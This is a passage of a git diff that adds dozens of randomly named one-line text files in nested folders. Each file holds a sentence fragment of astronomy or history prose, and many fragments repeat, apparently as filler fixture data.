index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_vodqlinmpdmwntu.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_xayaytqvgtervodfhg.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_xayaytqvgtervodfhg.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_xayaytqvgtervodfhg.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_xmpbrgjzqa.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_xmpbrgjzqa.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_xmpbrgjzqa.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_yhmofbvbhdmpecgjx.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_yhmofbvbhdmpecgjx.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_yhmofbvbhdmpecgjx.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_zggumblhoydmwjahelf.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_zggumblhoydmwjahelf.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_zggumblhoydmwjahelf.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_zvxduaxtsvpalyxmrqj.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_zvxduaxtsvpalyxmrqj.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_zvxduaxtsvpalyxmrqj.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_atvzriibmdinaeyvmc.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_atvzriibmdinaeyvmc.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_atvzriibmdinaeyvmc.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_dkmblhybivkkrkqdcvj.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_dkmblhybivkkrkqdcvj.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_dkmblhybivkkrkqdcvj.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_emvtyxpnmnrzkvabpxduwcx.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_emvtyxpnmnrzkvabpxduwcx.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_emvtyxpnmnrzkvabpxduwcx.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_gkyqkpzy.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_gkyqkpzy.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_gkyqkpzy.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_gtgwhlqspafkoxjrsszohqa.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_gtgwhlqspafkoxjrsszohqa.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_gtgwhlqspafkoxjrsszohqa.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_hpxlwpgogdrvqijmqsfuvc.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_hpxlwpgogdrvqijmqsfuvc.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_hpxlwpgogdrvqijmqsfuvc.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_kkhrlpetcfggqyag.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_kkhrlpetcfggqyag.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_kkhrlpetcfggqyag.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_kkjdrfidvlvczac.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_kkjdrfidvlvczac.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_kkjdrfidvlvczac.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_lxyjjrfsgjnl.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_lxyjjrfsgjnl.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_lxyjjrfsgjnl.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_nyfszcguubtsqvlnfnbtc.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_nyfszcguubtsqvlnfnbtc.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_nyfszcguubtsqvlnfnbtc.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_oxwfoawxstpcvor.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_oxwfoawxstpcvor.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_oxwfoawxstpcvor.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_psiokqvpaskuprmsapwfa.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_psiokqvpaskuprmsapwfa.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_psiokqvpaskuprmsapwfa.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_qvmelmcrinjxautrebxygu.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_qvmelmcrinjxautrebxygu.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_qvmelmcrinjxautrebxygu.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_rueszxouiayt.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_rueszxouiayt.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_rueszxouiayt.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_rvmafpeybcfwrbludp.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_rvmafpeybcfwrbludp.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_rvmafpeybcfwrbludp.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_wtxefdieztnw.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_wtxefdieztnw.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_wtxefdieztnw.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_xpdkufcdodubdtvdvsvgeb.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_xpdkufcdodubdtvdvsvgeb.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_xpdkufcdodubdtvdvsvgeb.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_xxmzenvqeehcq.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_xxmzenvqeehcq.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_xxmzenvqeehcq.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_ybffzsqghvffyqrettymo.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_ybffzsqghvffyqrettymo.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_ybffzsqghvffyqrettymo.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_ydqxjvmkijtyfmuaojgh.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_ydqxjvmkijtyfmuaojgh.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_ydqxjvmkijtyfmuaojgh.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_ztfnoqjthfkswk.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_ztfnoqjthfkswk.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_ztfnoqjthfkswk.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_zwoagegzbplx.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_zwoagegzbplx.txt
new file mode 100644
index 0000000..0294610
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/file_zwoagegzbplx.txt
@@ -0,0 +1 @@
+The sparks correspond to lightning - also present on the ancient Earth and on modern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/bjawfqbtqot.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/bjawfqbtqot.txt
new file mode 100644
index 0000000..23437b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/bjawfqbtqot.txt
@@ -0,0 +1 @@
+the matter suddenly created from nothing? How does that happen? In many cultures it is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/dsnfdpgcwyarmjpuded.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/dsnfdpgcwyarmjpuded.txt
new file mode 100644
index 0000000..9bcf5c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/dsnfdpgcwyarmjpuded.txt
@@ -0,0 +1 @@
+received wisdom which is fundamental to the scientific enterprise.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_aknwrjxazzkczlfxhvr.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_aknwrjxazzkczlfxhvr.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_aknwrjxazzkczlfxhvr.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_cukfwnkshlquvlwnfdik.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_cukfwnkshlquvlwnfdik.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_cukfwnkshlquvlwnfdik.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_gfbqobrf.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_gfbqobrf.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_gfbqobrf.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_hkwiqqqrmxxvicy.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_hkwiqqqrmxxvicy.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_hkwiqqqrmxxvicy.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_jyfoshumwylamxkrselgdl.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_jyfoshumwylamxkrselgdl.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_jyfoshumwylamxkrselgdl.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_krfwabnlowlvnczglzotz.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_krfwabnlowlvnczglzotz.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_krfwabnlowlvnczglzotz.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_lhrazeqjpm.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_lhrazeqjpm.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_lhrazeqjpm.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_nsigedqauovnuyeyycnuxoh.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_nsigedqauovnuyeyycnuxoh.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_nsigedqauovnuyeyycnuxoh.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_qnmobgqtrlsfrskgjxkykj.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_qnmobgqtrlsfrskgjxkykj.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_qnmobgqtrlsfrskgjxkykj.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_rfqcwyzurtyjbjxuhhewj.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_rfqcwyzurtyjbjxuhhewj.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_rfqcwyzurtyjbjxuhhewj.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_rjfsainefrfa.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_rjfsainefrfa.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_rjfsainefrfa.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_unesydpu.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_unesydpu.txt
new file mode 100644
index 0000000..8b9184d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/file_unesydpu.txt
@@ -0,0 +1 @@
+helium? To balance the electrical repulsion, pieces of nuclear matter would have to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/gywovhjdjpxrgmkn.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/gywovhjdjpxrgmkn.txt
new file mode 100644
index 0000000..bd4e75e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/gywovhjdjpxrgmkn.txt
@@ -0,0 +1 @@
+new stars and their associated nebulae are formed just behind them, and the spiral pattern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/htodujhns.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/htodujhns.txt
new file mode 100644
index 0000000..f01333f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/htodujhns.txt
@@ -0,0 +1 @@
+energy for the Sun to continue shining for a limited time. A star is a phoenix, destined to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/icouftdtycj.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/icouftdtycj.txt
new file mode 100644
index 0000000..4865ae1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/icouftdtycj.txt
@@ -0,0 +1 @@
+There were many constraints - perhaps, we feared, too many. Our landing sites had
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/jjfltyfqzgsyiabwafm.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/jjfltyfqzgsyiabwafm.txt
new file mode 100644
index 0000000..0e04f8b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/jjfltyfqzgsyiabwafm.txt
@@ -0,0 +1 @@
+Babylonian astronomical lexicon. According to Pliny, there were Romans considered
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/kqbtiwbmpyxwefragzxkee.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/kqbtiwbmpyxwefragzxkee.txt
new file mode 100644
index 0000000..5b66b14
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/kqbtiwbmpyxwefragzxkee.txt
@@ -0,0 +1 @@
+surface area of Mars might be radar-dark, and therefore dangerous for Viking. But not all of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/lobfvmrquy.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/lobfvmrquy.txt
new file mode 100644
index 0000000..df1fb2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/lobfvmrquy.txt
@@ -0,0 +1 @@
+of traveling sparks hurrying hither and thither. The brain is waking and with it the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/mnttblsxx.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/mnttblsxx.txt
new file mode 100644
index 0000000..8efebd5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/mnttblsxx.txt
@@ -0,0 +1 @@
+same person. Yet, sophisticated ideas are common in such communities. For example, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/msowoyvzlscsxgrzbeevk.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/msowoyvzlscsxgrzbeevk.txt
new file mode 100644
index 0000000..d4eb067
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/folder_txikxfpyut/folder_aucspfxggq/msowoyvzlscsxgrzbeevk.txt
@@ -0,0 +1 @@
+seminary school in the provincial town of Maulbronn to be educated for the clergy. It was a
\ No newline at end of file
